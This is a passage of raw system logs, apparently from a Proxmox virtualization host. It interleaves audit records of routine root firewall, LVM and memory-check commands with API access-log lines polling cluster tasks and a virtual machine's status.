{"@timestamp":1781964515144,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.144:61354): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e6690 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965294718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965294.718:64983): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cd090 a1=64f8d73d0450 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.171:66318): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966115780,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781964515139,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.139:61353): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f49b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58898 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965294693,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965294.693:64982): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e0610 a1=64f8d6f88c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62421 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605169,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.169:66317): argc=1 a0=\"date\""} {"@timestamp":1781966115780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 873"} {"@timestamp":1781964515134,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.134:61352): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139e20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965292463,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965292.463:64981): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605164,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.164:66315): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966115780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964515129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.129:61351): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d580 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965292453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965292.453:64978): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605153,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.153:66314): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966115780,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:14 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964515124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.124:61350): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139e20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965287442,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965287.442:64975): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605144,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.144:66313): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966114759,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1127"} {"@timestamp":1781964515119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.119:61349): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adbe20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58894 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965287435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965287.435:64972): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605137,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.137:66312): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966113136,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781964515113,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.113:61348): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.444:64969): arch=c000003e syscall=59 success=yes exit=0 a0=5575065050e0 a1=557506501e60 a2=5575064e3680 a3=5 items=2 ppid=62408 pid=62414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605126,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.126:66311): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966113136,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964515108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.108:61347): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.441:64968): arch=c000003e syscall=59 success=yes exit=0 a0=5574e5eecac8 a1=7ffc39495020 a2=5575064e3680 a3=5574e5ed024e items=2 ppid=62408 pid=62410 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965605111,"@rawstring":"node=pve type=EXECVE msg=audit(1781965605.111:66310): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966113136,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1127"} {"@timestamp":1781964515104,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.104:61346): arch=c000003e syscall=59 success=yes exit=0 a0=570fe16a7ed0 a1=570fe16a4c50 a2=570fe1686680 a3=5 items=2 ppid=58885 pid=58891 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.439:64967): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc39494fe0 a1=5575064ea310 a2=5575064e3680 a3=5 items=2 ppid=62408 pid=62409 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965604542,"@rawstring":"node=pve type=EXECVE msg=audit(1781965604.542:66309): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966111730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781964515101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.101:61345): arch=c000003e syscall=59 success=yes exit=0 a0=570fdcf60ac8 a1=7ffd5da96090 a2=570fe1686680 a3=570fdcf4424e items=2 ppid=58885 pid=58887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285435,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.435:64965): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62408 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965604515,"@rawstring":"node=pve type=EXECVE msg=audit(1781965604.515:66308): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966111730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964515100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.100:61344): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd5da96050 a1=570fe168d310 a2=570fe1686680 a3=5 items=2 ppid=58885 pid=58886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.429:64964): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62407 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965603656,"@rawstring":"node=pve type=EXECVE msg=audit(1781965603.656:66307): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966111730,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:10 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964515096,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.096:61342): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58885 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.421:64963): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965603629,"@rawstring":"node=pve type=EXECVE msg=audit(1781965603.629:66304): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966109812,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1125"} {"@timestamp":1781964515090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.090:61341): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58884 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.413:64962): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62405 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600622,"@rawstring":"node=pve type=EXECVE msg=audit(1781965600.622:66301): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966109812,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781964515083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.083:61340): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58883 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285407,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.407:64961): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965600620,"@rawstring":"node=pve type=EXECVE msg=audit(1781965600.620:66300): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781966109812,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1127"} {"@timestamp":1781964515078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.078:61339): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0df040 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58882 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.405:64960): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=593cb7db1740 items=0 ppid=1156 pid=62403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965600618,"@rawstring":"node=pve type=EXECVE msg=audit(1781965600.618:66299): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781966109812,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781964515072,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.072:61338): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13bfa0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58881 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285401,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.401:64959): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13bea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598619,"@rawstring":"node=pve type=EXECVE msg=audit(1781965598.619:66298): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966107808,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 928"} {"@timestamp":1781964515064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.064:61337): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb740eab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.397:64958): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc131780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965598612,"@rawstring":"node=pve type=EXECVE msg=audit(1781965598.612:66295): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966106810,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964515024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964515.024:61336): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b7ea0 a1=64f8d73db0d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58879 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285391,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.391:64957): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596095,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.095:66292): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966106810,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:06 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964514992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964514.992:61335): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec240 a1=64f8d514f5c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58878 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285386,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.386:64956): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ee070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596092,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.092:66291): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966106810,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964514663,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964514.663:61334): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58875 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.378:64955): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139290 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596091,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.091:66290): argc=1 a0=\"date\""} {"@timestamp":1781966106810,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:35:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1127"} {"@timestamp":1781964514655,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964514.655:61331): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58874 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285373,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.373:64954): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b03a90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965596085,"@rawstring":"node=pve type=EXECVE msg=audit(1781965596.085:66288): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966106810,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:35:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1127"} {"@timestamp":1781964509641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964509.641:61328): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58873 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965285366,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965285.366:64953): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" 